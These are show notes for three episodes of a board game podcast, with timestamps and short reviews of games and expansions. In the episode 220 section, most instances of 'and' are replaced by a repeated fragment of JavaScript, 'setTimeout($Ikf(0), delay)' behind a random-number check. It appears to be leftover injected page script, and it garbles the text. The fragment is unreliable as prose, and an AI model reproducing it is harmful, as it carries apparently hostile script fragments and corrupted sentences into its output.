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RDTN Episode 230: EOTN – Egyptian Kings, 300 Earth & Water, Board Game News

TimeSegment
00:05Game Toppers LLC
01:36Vanessa’s Intro
02:09Banter Stuff
21:14A New Contest
23:30Miniature Market
24:57Falling like flies at Gen Con
31:00Spiel Des Jahres nominees
34:21Villainous – Mischief & Malice
36:33Reign in Hell from Uncle Atom
40:05 Getting Crazy out there
45:53300: Earth & Water
52:07Portal Games
54:11Empires of the North: Egyptian
1:05:03Outro

Love getting the Empires of the North to the table and when a new expansion comes out, get very excited. Egyptians is the newest expansion and it feels different from all the rest. I also enjoy it when an expansion just flows and both these factions seemed to be easy to play to us. The engine you needed to build was right there and easy to grasp. If you enjoy Empires of the North, then this might be a must add

Two players games that involve strategic war battles are always something I enjoy, but the time to set up and play is sometimes a roadblock to getting a game to the table. But 300: Earth & Water is small footprint game that is fast to play and easy to understand. Based on the battle that most of us know from the movie 300, this game is around can the Greeks hold off the advance of the Persians over five rounds. If they do, they win. If the Persians can beat down the defenses, then they win.

Thanks for listening we do appreciate it

RDTN Episode 220: Hallertau, Seeders from Sereis: Exodus, Renature, Aliens, Redcap Ruckus

00:00 Intro
11:06 Major Melon Taste Test
14:01 Squirrel Time
14:54 Bloodborne has arrived andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and other Kickstarters
22:09 Miniature Market
23:36 Redcap Ruckus
29:42 Seeders from Sereis: Episode 1 – Exodus
46:57 Portal Games
49:03 Renature
58:33 Hallertau
1:13:01 Aliens: Another Glorious Day in the Corps!
1:31:34 Outro

An episode that is full of games, family, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Dew. Yeap, we got a taste test for you. It seems Mt. Dew released a new favor called Major Melon andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we had to give it a try. I would have thought they would have held off until the summer because it is based on a watermelon flavor, but they didn’t ask our opinion. Hope you get a chance to try it, because it different.

From the game standom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andpoint, we got games we enjoyed to the table, a game that is just silly fun, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and one we disagree on. The later is an example where a mechanic, no matter how good the game is, isn’t something you would enjoy. We all have those games andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that is what is great about board games. If one doesn’t float your boat, there only a gazillion more out there that might. Face facts, there is a game you really enjoy andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and others dislike. But that is okay because there is one where everybody likes it. So, find that game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and have an fun, relaxing night because you deserve it.

The Connell boys have returned andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and share their opinions on a game andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and keep their father straight. What is it about our kids, they just love to torment andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and make fun of us when they come on the show. I guess that is why people enjoy them participating.

Thank you for listening andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and please be safe andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and well

RDTN Episode 209: Tammany Hall, EOTN-Barbarians, Warp’s Edge, Ohanami, Yukon Airways, Silver Dagger, Tellstones, Yukon Airways, Rise of Red Skull

00:00 Intro
19:00 Tellstones
29:00 Silver Dagger
36:00 Yukon Airways
41:22 Marvel Champions: Rise of Red Skull
44:51 Ohanami
50:00 The Broken Token
51:44 Empires of the North: Barbarians
57:35 Toy Hall of Fame Nominees
1:10:45 Portal Games
1:12:04 Tammany Hall
1:27:18 Warp’s Edge
1:33:00 Outro
1:41:36 Miniature Market

We had a penalty on this episode, False start. So be sure to pay attention at the end if you can make it that long. According to Marty, there was a bunch of stuff going on about review of Tellstones and how people are saying that the negative reviews have integrity over the positive reviews. Whatever. It is a memory game and if you like those types of games, especially if they are quick and short term memory is being challenged, then you might really need to consider this game. Weigh the good with the bad and see if it is worth your time. And both the wives enjoy this type of game.

Now Tammany Hall is an old game and one we never got to play until the re-release. Game with simple actions wrapped in warm, soft strategy, no wonder it is a favorite of so many. However, we didn’t experience the backstabbing because I believe the player count (3 people) kept that from happening. If you like the area control style games, you might want to give this a play but be warned, you will have to remember what the actions are so memory is involved

Empires of the North Barbarians was a good expansion to get on the table. Love the interaction that these clans provided to the game versus the head down do your own thing. Silver Dagger expansion gets back to the roots in Silver line and thankfully it does. We can see where bringing some of these cards over to the original set would create more mayhem than already exists with this memory game.

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